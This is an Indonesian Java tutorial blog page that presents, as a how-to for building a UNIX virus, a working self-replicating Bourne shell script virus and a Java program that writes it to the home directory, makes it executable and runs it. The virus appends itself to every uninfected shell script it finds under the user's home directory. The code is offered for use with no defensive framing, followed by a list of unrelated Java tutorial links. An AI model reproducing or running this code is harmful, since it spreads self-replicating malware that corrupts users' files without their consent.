Dibawah ini diterangkan bagaimana cara membuat virus unix menggunakan java sebagai infector,,langakah-langkah sebagai berikut:
share caranye ngebuat virus buat UNIX melalui perantaraan java
---------------------------------------------------------
Code:
---------------------------------------------------------
#!/bin/sh
#-_
echo "Java is safe, and UNIX viruses do not exist."
for file in `find $HOME -type f -print`
do
case "`sed 1q $file`" in
"#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file
esac
done
2>/dev/null
lalu ngebuat java buat infectornya :
Code:
/* Homer.java by Mark D. LaDue */
/* Copyright (c) 1996 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
/* This Java application infects your UNIX system with a Bourne shell
script virus, homer.sh. homer.sh is kind enough to announce itself
and inform you that "Java is safe, and UNIX viruses do not exist"
before finding all of the Bourne shell scripts in your home directory,
checking to see if they've already been infected, and infecting
those that are not. homer.sh infects another Bourne shell script
by simply appending a working copy of itself to the end of that shell
script. */
import java.io.*;
class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
Tutorial JavaSE, JavaME, JavaEE, Android, Netbeans, Eclipse, Mysql Bahasa Indonesia
Artikel Lainnya
- Manipulasi String: UpperCase & LowerCase
- Aplikasi Database Sederhana Dengan Java Netbeans MySql
- Menggunakan Type Data BLOB di JavaEE
- Membuat Aplikasi Pulsa Handphone Menggunakan Java Netbeans
- Penjelasan Rinci Class Pada Java
- Tutorial Cara Menggunakan JRadioButton
- Cara Agar JFrame Form Tampil Di Tengah Layar Monitor Saat Running
- Cara Merubah/Mengganti Icon JFrame/JDialog Java
- Java, Error Menjalankan / Membuka Laporan IReport
- Penggunaan dan Perbedaan Modifier Pada Java
- Contoh Lengkap Program Array Pada Java
- Menampilkan Data ke JTable
- Cara Mudah Membuat Form Pencarian Di Java
- Cara Mengetahui Jumlah Data Pada Array di Java
- Cara Penggunaan method substring
- Java Loop Control - while loop - do..while loop and more
- Cara Mendapatkan IP Address Menggunakan InetAddress di Java
- Cara Mudah Menampilkan Gambar Di Java Netbeans
- Membatasi Jumlah Input Karakter Pada JTextField
- Cara Cepat Membuat Aplikasi Form Login Java Netbeans
- Membuat Aplikasi Browser Menggunakan Java
- Tutorial Pemprograman Java
- Source Code Membuat Game Catur Menggunakan Java
- Cara Memeriksa Keberadaan File dg Fungsi .exists()
- Apa itu FileInputStream Dan Cara Menggunakannya
- Membuat Folder Menggunakan Aplikasi Java
- Java MySQL JDBC Tutorial using NetBeans Part 1
- Memahami Polimorfisme pada Java + Contoh Code
- Cara Membuat Rumus Matematika Pada Java
- Tutorial Membuat Halaman Wizard Menggunakan JSF dan CDI
- Cara Membuat Fungsi dan Prosedur Pada Java
- Connection Polling dalam Aplikasi Website Java Menggunakan GlassFish dan Netbeans
- Java Date and Time
- Tutorial Pemprograman Java Lengkap
- Cara Memberi Background Gambar Pada JFrame
- Cara Membuat Method/Fungsi Overloading Pada Java
- Cara Menambahkan Plugin IReport Pada Netbeans
- Tutorial IReport - Cara Membuat Design Laporan
- SourceCode Sistem Informasi Penjualan Menggunakan Java
- Cara Membuat Gambar Bergerak Menggunakan Java
- Mengenal Action atau Event Listener pada Java
- Cara Lengkap Menggunakan IReport di Netbeans
- Cara Mengetahui Panjang Karakter Menggunakan Fungsi Length
- Cara Membuat dan Menampilkan Laporan di Java
- Membuat Aplikasi Client Server Chating Menggunakan Java
- Tutorial Java
- Sistem Informasi Rental Kendaraan Bermotor dengan Java
- Contoh Penggunaan Mouse Event Pada Java
- Mengenal Lebih Jauh Event Di Java
- Aplikasi Sistem Informasi Perpustakaan Berbasis Java